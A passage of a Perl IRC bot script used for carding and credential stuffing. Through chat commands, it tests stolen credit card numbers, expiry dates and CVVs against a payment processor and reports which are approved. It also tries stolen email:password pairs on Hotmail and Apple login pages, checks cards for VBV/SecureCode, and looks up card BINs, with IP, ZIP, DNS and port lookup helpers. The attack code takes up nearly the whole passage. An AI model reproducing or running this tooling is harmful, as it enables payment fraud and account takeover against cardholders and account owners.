  571. }elsif ($allo =~ m/A duplicate transaction has been submitted./g){
  572. &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED! (Duplicate Transaction)");
  573. push(@checked,$numerocarta);
  574. }elsif ($allo =~ m/The transaction has been declined/g){
  575. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4,1Declined 7,1AVS Missmatch!");
  576. push(@checked,$numerocarta);
  577. }elsif ($allo =~ m/This transaction has been declined./g){
  578. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Declined");
  579. push(@checked,$numerocarta);
  580. }elsif ($allo =~ m/There have been too many failed transaction attempts from you./g){
  581. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Blocked :P");
  582. push(@checked,$numerocarta);
  583. }elsif ($allo =~ m/This transaction has been declined.This donation has been declined because of the reason above./g){
  584. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED :(");
  585. push(@checked,$numerocarta);
  586. }elsif ($allo =~ m/Thank you for your donation./g){
  587. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 9,1Approved Thanks :D");
  588. push(@checked,$numerocarta);
  589. }elsif ($allo =~ m/It appears that you have already attempted several times today, please call us to complete this transaction./g){
  590. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Blocked Merchant");
  591. push(@checked,$numerocarta);
  592. }elsif ($allo =~/This transaction has been declined./g){
  593. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!");
  594. push(@checked,$numerocarta);
  595. }elsif ($allo =~/Card declined/g){
  596. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED Check Limit!");
  597. push(@checked,$numerocarta);
  598. }elsif ($allo =~/CrediGuard velocity control./g){
  599. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED CrediGuard velocity control!");
  600. push(@checked,$numerocarta);
  601. }elsif ($allo =~/The credit card security code was not entered correctly./g){
  602. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Invalid Security Code!");
  603. push(@checked,$numerocarta);
  604. }elsif ($allo =~/The address entered does not match the billing address on file at the bank./g){
  605. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Declined No Match Address!");
  606. push(@checked,$numerocarta);
  607. }elsif ($allo =~/The credit card number is invalid./g){
  608. &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4INVALID!");
  609. push(@checked,$numerocarta);
  610. }elsif ($allo =~/The credit card has expired./g){
  611. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4EXPIRED!");
  612. push(@checked,$numerocarta);
  613. }elsif ($allo =~/A duplicate transaction has been submitted./g){
  614. &respond_to_privmsg(\%msg,"15,1Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DUPLICATE TRANSACTION!");
  615. push(@checked,$numerocarta);
  616. }elsif ($allo =~/This transaction cannot be accepted at this time./g){
  617. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT DOWN!");
  618. push(@checked,$numerocarta);
  619. }elsif ($allo =~/An error occurred during processing./g){
  620. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT ERROR!");
  621. push(@checked,$numerocarta);
  622. }
  623. toEnd:
  624. }
  625. }
  626. ############################################################################################
  627. #############################@@@@======Logins Checkers=====@@@@#############################
  628. ############################ Contact : [email protected] ############################
  629. ############################################################################################
  630.  
  631. ################################# Sub Hotmain Login Check ##################################
  632. if($msg{'what'} =~ /^!hotmail\s+(.*) (.*)/) {
  633. my ($hotmailz,$hotpasswordx) = ($1,$2);
  634. chop($hotpasswordx);
  635. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]00,01 Checking 08$hotmailz:$hotpasswordx");
  636. my $agent = WWW::Mechanize->new( autocheck => 1 );
  637. my $formfiller = WWW::Mechanize::FormFiller->new();
  638. $agent->env_proxy();
  639. $agent->get("https://login.live.com/ppsecure/secure.srf?lc=1040&id=9&ru=https://accountservices.msn.com/default.srf%3Fvv%3D900%26mkt%3DIT-IT%26lc%3D1040&tw=1200&fs=1&kv=9&ct=1292072944&ems=1&seclog=10&ver=9.0.16542.0&tpf=1ce7cecf4f2ef04eefb126a0d68f97b0");
  640. $agent->form_number(1);
  641. $agent->current_form->value('login', ''.$hotmailz.'');
  642. $agent->current_form->value('passwd', ''.$hotpasswordx.'');
  643. $agent->submit();
  644. print $agent->content,"\n";
  645. my $internal = $agent->content;
  646. if ($internal =~/Windows Live ID/) {
  647. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 04Wrong login");
  648. }else{
  649. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 09Successfully Logged in");
  650. }
  651. }
  652. ############################### Sub Apple Login Check ##################################
  653. if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
  654. my ($email,$pass) = ($1,$2);
  655. chop($email,$pass);
  656. &respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1 $email:$pass");
  657. my $agent = WWW::Mechanize->new( autocheck => 1 );
  658. my $formfiller = WWW::Mechanize::FormFiller->new();
  659. $agent->env_proxy();
  660. $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/Login.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&language=IT-IT");
  661. $agent->form_number(2);
  662. $agent->current_form->value('theAccountName', ''.$email.'');
  663. $agent->current_form->value('theAccountPW', ''.$pass.'');
  664. $agent->submit();
  665. $agent->reload();
  666. print $agent->content,"\n";
  667. my $internal = $agent->content;
  668. open(FILE3,">>Apple.html") or die "$!";
  669. print FILE3 "$allo\n";
  670. close FILE3;
  671. sleep(2);
  672. if($internal =~/Did you forget/) {
  673. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
  674. }
  675. elsif($internal =~/blocked/) {
  676. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked)");
  677. }elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
  678. my $name = $1;
  679. my $surnamle = $2;
  680. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Logged in");
  681. }
  682. }
  683. #############################@@@@======ANOTHER TOOLZ=====@@@@###############################
  684. ############################ Contact : [email protected] ############################
  685. ############################################################################################
  686.  
  687. ##################################### Sub IP Checking ######################################
  688. if($msg{'what'} =~ /^$zipcmd\s(\d{5})/)
  689. {
  690. my ($zipcheck) = ($1);
  691. &respond_to_privmsg(\%msg,"7,1Checking ZIP : 0-15 $zipcheck 0,1-");
  692. print "Checking Zip...\n";
  693. my $agent = WWW::Mechanize->new( autocheck => 1 );
  694. my $formfiller = WWW::Mechanize::FormFiller->new();
  695. $agent->env_proxy();
  696. $agent->get('http://www.melissadata.com/lookups/ZipCityPhone.asp?InData='.$zipcheck.'&submit=Search');
  697. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  698. #{ local $^W; $agent->current_form->value('fld-zip', ''.$zipcheck.''); };
  699. #$agent->submit();
  700. print $agent->content,"\n";
  701. my $zipse=$agent->content;
  702. if ($zipse =~/<td class='columresult'>State<\/td><td align=left><b>(.*)<\/b>/){
  703. &respond_to_privmsg(\%msg,"7,1State : 0-3 $1 0-");
  704. }
  705. if ($zipse =~/<td class='columresult'>USPS Preferred City Name<\/td><td align=left><b>(.*) <\/b><\/td><\/tr>/){
  706. &respond_to_privmsg(\%msg,"7,1City : 0-3 $1 0-");
  707. }
  708. if ($zipse =~/<td class='columresult'>Area Code<\/td><td align=left><b>(.*)<\/b><\/td><\/tr>/){
  709. &respond_to_privmsg(\%msg,"7,1Area Code : 0-3 $1 0-");
  710. }
  711. if ($zipse =~/<td class='columresult'>Time Zone (Local Time)<\/td><td align=left><b>Pacific (.*) AM/){
  712. &respond_to_privmsg(\%msg,"7,1Time Zone : 0-3 $1 0-");
  713. }
  714. elsif ($zipse =~/<br><div align='center' style='font-size:15pt' >ZIP Code <b style='color:red'>(.*)<\/b> was not found.<\/div><br>/){
  715. &respond_to_privmsg(\%msg,"7,1Checking ZIP : 0-4 Could not retreive zip. 0,1-");
  716. }
  717. }
  718. ######################################## IP Checker ########################################
  719. ############################ Contact : [email protected] ############################
  720. ############################################################################################
  721. if($msg{'what'} =~ /\!ip (.*)/)
  722. {
  723. my ($iploca) = ($1);
  724. chomp($iploca);
  725. &respond_to_privmsg(\%msg,"7,1Checking IP : 0-15 $iploca 0-");
  726. print "Please wait...\n";
  727. my $agent = WWW::Mechanize->new( autocheck => 1 );
  728. my $formfiller = WWW::Mechanize::FormFiller->new();
  729. $agent->env_proxy();
  730. #$agent->get('http://www.whatismyip.com/ip-tools/ip-whois-lookup/');
  731. #$agent->get('http://www.geobytes.com/IpLocator.htm?GetLocation&IpAddress='.$iploca.'');
  732. $agent->get('http://whoer.net/check?host='.$iploca.'');
  733. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  734. print $agent->content,"\n";
  735. my $ipwork=$agent->content;
  736. if($ipwork =~ m/<td class=\"wtl_z\"><strong>Country<\/strong><\/td>\n(.*)\n<div class=\"ipadotted\"> (.*)<\/div>/){
  737. my ($flag,$country) = ($1,$2);
  738. &respond_to_privmsg(\%msg,"7,1Country :0 -3 $2 0-");
  739. }
  740. if($ipwork =~ m/<td class=\"wtl\">Region<\/td>\n<td colspan=\"3\" class=\"wtr\">(.*)<\/td>/){
  741. my ($region) = ($1);
  742. &respond_to_privmsg(\%msg,"7,1Region :0 -3 $1 0-");
  743. }
  744. if($ipwork =~ m/<td class=\"wtl_z\">City<\/td>\n<td colspan=\"3\" class=\"wtr_z\">(.*)<\/td>/){
  745. my ($city) = ($1);
  746. &respond_to_privmsg(\%msg,"7,1City :0 -3 $1 0-");
  747. }
  748. if($ipwork =~ m/<td class=\"wtl\">ZIP code<\/td>\n<td colspan=\"3\" class=\"wtr\">(.*)<\/td>/){
  749. my ($zip) = ($1);
  750. &respond_to_privmsg(\%msg,"7,1Zip :0 -3 $1 0-");
  751. }
  752. if($ipwork =~ m/<td align=\"left\" class=\"wtl_z\">Hostname<\/td>\n<td colspan=\"3\" class=\"wtr_z\">\n(.*) &rarr; (.*)/){
  753. my ($hostanme,$ip) = ($1,$2);
  754. &respond_to_privmsg(\%msg,"7,1Hostname :0 -3 $1 0-");
  755. }
  756. if($ipwork =~ m/<td align=\"left\" class=\"wtl\">IP range<\/td>\n<td colspan=\"3\" class=\"wtr\">(.*)<\/td>/){
  757. my ($iprange) = ($1);
  758. &respond_to_privmsg(\%msg,"7,1IP Range :0 -3 $1 0-");
  759. }
  760. if($ipwork =~ m/<acronym title=\"Internet Service Provider\">ISP<\/acronym>\n<\/td>\n<td colspan=\"3\" class=\"wtr_z\">(.*)<\/td>/){
  761. my ($isp) = ($1);
  762. &respond_to_privmsg(\%msg,"7,1ISP :0 -3 $1 0-");
  763. }
  764. if($ipwork =~ m/<acronym title=\"Distributed Sender Blackhole List \(spamhaus.org\)\"><strong>Black list<\/strong><\/acronym>\n<\/td>\n<td colspan=\"3\" class=\"wtr_z\">\n(.*)<\/td>/){
  765. my ($blacklist) = ($1);
  766. &respond_to_privmsg(\%msg,"7,1Blacklist :0 -3 $1 0-");
  767. }
  768. elsif ($ipwork =~/<p>We are unable to locate the address/){
  769. &respond_to_privmsg(\%msg,"7,1Result IP Address : 0-15 4Unable to get IP Info 0-");
  770. }
  771. }
  772. ######################################## IP Checker ########################################
  773. ############################ Contact : [email protected] ############################
  774. ############################################################################################
  775. if($msg{'what'} =~ /\!ip+s(.*)/){
  776. &respond_to_privmsg(\%msg,"7,1Checking IP : 0-4 NULL 0-");
  777. }
  778. if($msg{'what'} =~ /\!ip2 (.*)/)
  779. {
  780. my ($iploca) = ($1);
  781. chomp($iploca);
  782. &respond_to_privmsg(\%msg,"9,1Checking IP : 0-8 $iploca 0-");
  783. print "Please wait...\n";
  784. my $agent = WWW::Mechanize->new( autocheck => 1 );
  785. my $formfiller = WWW::Mechanize::FormFiller->new();
  786. $agent->env_proxy();
  787. #$agent->get('http://www.whatismyip.com/ip-tools/ip-whois-lookup/');
  788. $agent->get('http://www.geobytes.com/IpLocator.htm?GetLocation&IpAddress='.$iploca.'');
  789. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  790. print $agent->content,"\n";
  791. my $ipwork=$agent->content;
  792. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls12" value="(.*)" size="20" readonly><\/td>/){
  793. &respond_to_privmsg(\%msg,"9,1Country Code : 8 $1 ");
  794. }
  795. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls13" value="(.*)" size="20" readonly><\/td>/){
  796. &respond_to_privmsg(\%msg,"9,1Country : 8 $1 ");
  797. }
  798. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls14" value="(.*)" size="20" readonly><\/td>/){
  799. &respond_to_privmsg(\%msg,"9,1Region Code : 8 $1 ");
  800. }
  801. if ($ipwork =~/<td align="right"> <input name="ro-no_bots_pls15" value="(.*)" size="20" readonly><\/td>/){
  802. &respond_to_privmsg(\%msg,"9,1Region : 8 $1 ");
  803. }
  804. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls16" value="(.*)" size="20" readonly><\/td>/){
  805. &respond_to_privmsg(\%msg,"9,1City Code 8 $1 ");
  806. }
  807. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls17" value="(.*)" size="20" readonly><\/td>/){
  808. &respond_to_privmsg(\%msg,"9,1City : 8 $1 ");
  809. }
  810. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls5" value="(.*)" size="20" readonly><\/td>/){
  811. &respond_to_privmsg(\%msg,"9,1City ID : 8 $1 ");
  812. }
  813. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls10" value="(.*)" size="20" readonly><\/td>/){
  814. &respond_to_privmsg(\%msg,"9,1Latitude : 8 $1 ");
  815. }
  816. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls19" value="(.*)" size="20" readonly><\/td>/){
  817. &respond_to_privmsg(\%msg,"9,1Longitude : 8 $1 ");
  818. }
  819. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls8" value="(.*)" size="20" readonly><\/td>/){
  820. &respond_to_privmsg(\%msg,"9,1Capital City : 8 $1 ");
  821. }
  822. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls9" value="(.*)" size="20" readonly><\/td>/){
  823. &respond_to_privmsg(\%msg,"9,1Time Zone : 8 $1 ");
  824. }
  825. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls11" value="(.*)" size="20" readonly><\/td>/){
  826. &respond_to_privmsg(\%msg,"9,1Proxy : 8 $1 ");
  827. }
  828. if ($ipwork =~/ <td align="right"><input name="ro-no_bots_pls4" value="(.*)" size="20" readonly><\/td>/){
  829. &respond_to_privmsg(\%msg,"9,1CIA Map Reference : 8 $1 ");
  830. }
  831. if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls1" value="(.*)" size="20" readonly><\/td>/){
  832. &respond_to_privmsg(\%msg,"9,1Currency : 8 $1 ");
  833. }
  834. elsif ($ipwork =~/<p>We are unable to locate the address/){
  835. &respond_to_privmsg(\%msg,"9,1Result IP Address : 4Unable to get IP Info");
  836. }
  837. }
  838. ######################################### Sub DNS Checking ############################################
  839. if($msg{'what'} =~ /^!dns (.*)/)
  840. {
  841. my ($hostname) = ($1);
  842. &respond_to_privmsg(\%msg,"7,1Checking DNS : 0-15 $hostname 0,1-");
  843. print "\n";
  844. my $agent = WWW::Mechanize->new( autocheck => 1 );
  845. my $formfiller = WWW::Mechanize::FormFiller->new();
  846. $agent->env_proxy();
  847. $agent->get('http://www.ipligence.com/geolocation');
  848. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  849. { local $^W; $agent->current_form->value('ip', ''.$hostname.''); };
  850. $agent->submit();
  851. print $agent->content,"\n";
  852. my $dnschk=$agent->content;
  853. if ($dnschk =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time Zone:(.*)/g){
  854. my ($resolved,$city,$country,$continent,$time) = ($1,$2,$3,$4);
  855. &respond_to_privmsg(\%msg,"7,1Checking DNS : 0-15 3Resolved to9 $resolved 0-");
  856. }
  857. elsif ($dnschk =~/Invalid address or IP not found/){
  858. &respond_to_privmsg(\%msg,"7,1Checking DNS : 0-15 4Could not Resolve Hostname 0-");
  859. }
  860. }
  861. ############################################################################################
  862.  
  863. ############################################################################################
  864. if($msg{'what'} =~ /^!port\s(.*) (.*)/) {
  865. my($cip,$cport) = ($1,$2);
  866. chop($cport);
  867. &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 0-");
  868. my $agent = WWW::Mechanize->new();
  869. my $formfiller = WWW::Mechanize::FormFiller->new();
  870. $agent->env_proxy();
  871. $agent->get("http://my-addr.com/check-open-ports/check-listening-of-ports/check_ports_tool.php");
  872. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  873. { local $^W; $agent->current_form->value('addr', ''.$cip.''); };
  874. { local $^W; $agent->current_form->value('ports_list', ''.$cport.''); };
  875. $agent->submit();
  876. print $agent->content,"\n";
  877. my $resultport=$agent->content;
  878. if($resultport =~/success/){
  879. &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 3is 9Opened 0,1-");
  880. }elsif($resultport = ~/Connection refused/){
  881. &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 3is 4Closed 0,1-");
  882. }
  883. }
  884. ############################################################################################
  885. #if($msg{'what'} =~ /^!sock5\s(.*) (.*)/) {
  886. # my($csocks,$cport) = ($1,$2);
  887. # chop($cport);
  888. # &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $csocks:$cport 0-");
  889. # my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
  890. # my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
  891. # my $formfiller = WWW::Mechanize::FormFiller->new();
  892. # $agent->env_proxy();
  893. # $agent->get("https://socks5proxies.com/check.php?act=post");
  894. # # $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  895. # { local $^W; $agent->current_form->value('list', ''.$csocks.''.$cport.''); };
  896. # $agent->submit();
  897. # print $agent->content,"\n";
  898. # my $resultport=$agent->content;
  899. # if($resultport =~/<font color="red"><b>Die<\/b><\/font>/){
  900. # &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $csocks:$cport 3is 4Dead 0,1-");
  901. # }elsif($resultport = ~/Connection refused/){
  902. # &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 3is 4Closed 0,1-");
  903. # }
  904. # }
  905. ########################################################################################
  906. if($msg{'what'} =~ /^$seccmd\s+(\d{16})/){
  907. open FILE,"ignored.txt";
  908. my @result = <FILE>;
  909. close FILE;
  910. my $chknickVar = 0;
  911. foreach my $url (@results){
  912. if($url =~ m/(.*)|Ignore/&& $chknickVar == 0){
  913. $chknickVar = 1;
  914. &respond_to_privmsg(\%msg,"7,1Information 0: 4 $1 You have been Ignored.");
  915. goto toEnd;
  916. }
  917. }
  918. my ($numerocarta,) = ($1,$2,$3,$4,);
  919. my $var1 = substr($expmes,0,2);
  920. my $var2 = substr($expmes,2,4);
  921. if(substr($numerocarta,0,1) == 4){
  922. $varType = 1;
  923. }
  924. if(substr($numerocarta,0,1) == 5){
  925. $varType = 2;
  926. }
  927. #my ($vbvnumb) = ($1);
  928. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1-");
  929. print "\n";
  930. my $agent = WWW::Mechanize->new( autocheck => 1 );
  931. my $formfiller = WWW::Mechanize::FormFiller->new();
  932. $agent->env_proxy();
  933. $agent->get('http://zing9x.net/WB/vbv/');
  934. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  935. $agent->form_number(1);
  936. { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
  937. $agent->submit();
  938. print $agent->content,"\n";
  939. my $secres=$agent->content;
  940. if ($secres =~/No Pass VBV/g){
  941. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security Verified by 00:3 00-3 3[0,12VISA3,1] 14is 4NOT PASSED! 0,1-");
  942. }elsif ($secres =~/Pass VBV/){
  943. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security Verified by 00:3 00-3 3[0,12VISA3,1] 14is 9PASSED! 0,1-");
  944. }elsif ($secres =~/No Pass MCSC/){
  945. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security MasterCard SecureCode 00:3 00-3 [0,4Master0,7Card3,1]14,1 is 4,1NOT PASSED!");
  946. }elsif ($secres =~/Pass MCSC/){
  947. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security MasterCard SecureCode 00:3 00-3 [0,4Master0,7Card3,1]14,1 is 9PASSED!");
  948. }elsif ($secres =~/Unknown/){
  949. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 14is 7UNKNOWN!");
  950. }elsif ($secres =~/INVALID/){
  951. &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 14is 7INVALID");
  952. }
  953. toEnd:
  954. }
  955. ########################################################################################
  956. if($msg{'what'} =~ /^$bincmd\s(\d{16})/){
  957. my ($ccnumb) = ($1);
  958. print "\n";
  959. my $agent = WWW::Mechanize->new( autocheck => 1 );
  960. my $formfiller = WWW::Mechanize::FormFiller->new();
  961. $agent->env_proxy();
  962. $agent->get('http://bin.cvvtools.pro/');
  963. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  964. { local $^W; $agent->current_form->value('data', ''.$ccnumb.''); };
  965. $agent->submit();
  966. print $agent->content,"\n";
  967. my $secres=$agent->content;
  968. if ($secres =~/<i> (.*) <\/i>/g){
  969. &respond_to_privmsg(\%msg,"7,1BIN : 0-9 $1 0-");
  970. }elsif ($secres =~/<i>(.*)<\/i>/){
  971. &respond_to_privmsg(\%msg,"7,1BIN : 0-4 Could not retreive BIN. 0-");
  972. }
  973. }
  974. #####################################################################################
  975. # if($msg{'what'} =~ /^!md5\s(.*)/) {
  976. # my $mstring = $1;
  977. # chop($mstring);
  978. # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generating...08,01 $mstring");
  979. # my $agent = WWW::Mechanize->new();
  980. # my $formfiller = WWW::Mechanize::FormFiller->new();
  981. # $agent->env_proxy();
  982. # $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
  983. # $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  984. # { local $^W; $agent->current_form->value('encrypt', ''.$mstring.''); };
  985. # $agent->submit();
  986. # print $agent->content,"\n";
  987. # my $resmd=$agent->content;
  988. # if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  989. # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generated:04 $1");
  990. # }elsif($resmd =~/Duplicate entry '(.*)' for key 'md5'/){
  991. # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Already Generated:04 $1");
  992. # }
  993. # else{
  994. # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]04,01 Can't Generate Hash");
  995. # }
  996. # }
  997. #####################################################################################
  998. # if($msg{'what'} =~ /^!md5decode (.*)/) {
  999. # my $md = $1;
  1000. # chop($md);
  1001. # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01] 04,01Checking 14$md");
  1002. # my $agent = WWW::Mechanize->new();
  1003. # my $formfiller = WWW::Mechanize::FormFiller->new();
  1004. # $agent->env_proxy();
  1005. # $agent->get("http://md5.rednoize.com/?p&s=md5&q='.$md.'");
  1006. # $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1007. # #{ local $^W; $agent->current_form->value('decrypt', ''.$md.''); };
  1008. # $agent->submit();
  1009. # print "Checking...\n";
  1010. # print $agent->content,"\n";
  1011. # my $internal=$agent->content;
  1012. # if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  1013. # if($internal =~/(.*)/){
  1014. # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]00,01 Decrypted: 09$1");
  1015. # }elsif($internal = ~/Sorry, we couldn't decrypt this md5./){
  1016. # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04,01 Not Found in database");
  1017. #}elsif($internal = ~/Invalid/){
  1018. # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04 INVALID md5 hash");
  1019. # }
  1020. # }
  1021. #####################################################################################
  1022. # if($msg{'what'} =~ /^!sha1\s(.*)/) {
  1023. # my $shastring = $1;
  1024. # chop($shastring);
  1025. # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generating...08,01 $shastring");
  1026. # my $agent = WWW::Mechanize->new();
  1027. # my $formfiller = WWW::Mechanize::FormFiller->new();
  1028. # $agent->env_proxy();
  1029. # $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
  1030. # $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1031. # { local $^W; $agent->current_form->value('encrypt', ''.$shastring.''); };
  1032. # $agent->submit();
  1033. # print $agent->content,"\n";
  1034. # my $resmd=$agent->content;
  1035. # if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  1036. # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generated:04 $1");
  1037. # }elsif($resmd =~/Duplicate entry '(.*)' for key 'sha1'/){
  1038. # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Already Generated:04 $1");
  1039. # }
  1040. # else{
  1041. # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]04,01 Can't Generate Hash");
  1042. # }
  1043. # }
  1044. #####################################################################################
  1045. # if($msg{'what'} =~ /^!sha1decode (.*)/) {
  1046. # my $sha = $1;
  1047. # chop($sha);
  1048. # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01] 04,01Checking 14$sha");
  1049. # my $agent = WWW::Mechanize->new();
  1050. # my $formfiller = WWW::Mechanize::FormFiller->new();
  1051. # $agent->env_proxy();
  1052. # $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
  1053. # $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  1054. # { local $^W; $agent->current_form->value('decrypt', ''.$sha.''); };
  1055. # $agent->submit();
  1056. # print $agent->content,"\n";
  1057. # my $internal=$agent->content;
  1058. # if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  1059. # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]00,01 Decrypted: 09$1");
  1060. # }elsif($internal = ~/Sorry, we couldn't decrypt this sha1./){
  1061. # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04,01 Not Found in database");
  1062. # }elsif($internal = ~/Invalid/){
  1063. # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04 INVALID sha1 hash");
  1064. # }
  1065. # }
  1066. ###########################################################################################
  1067. # if($msg{'what'} =~ /^!transid (.*)/)
  1068. # {
  1069. # my ($words) = ($1);
  1070. # chop($words);
  1071. # &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 04,01Translating 08$words");
  1072. # print "\n";
  1073. # my $agent = WWW::Mechanize->new( autocheck => 1);
  1074. # my $formfiller = WWW::Mechanize::FormFiller->new();
  1075. # $agent->env_proxy();
  1076. # $agent->get('http://translate.reference.com/');
  1077. # { local $^W; $agent->current_form->value('src', 'id'); };
  1078. # { local $^W; $agent->current_form->value('dst', 'en'); };
  1079. # { local $^W; $agent->current_form->value('query', ''.$words.''); };
  1080. # $agent->submit();
  1081. # print $agent->content,"\n";
  1082. # my $tranzid=$agent->content;
  1083. # if ($tranzid =~ m/<div class=\"translateTxt\" >(.*)/){
  1084. # &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 08,01ID-EN: 09$1");
  1085. # }
  1086. # }
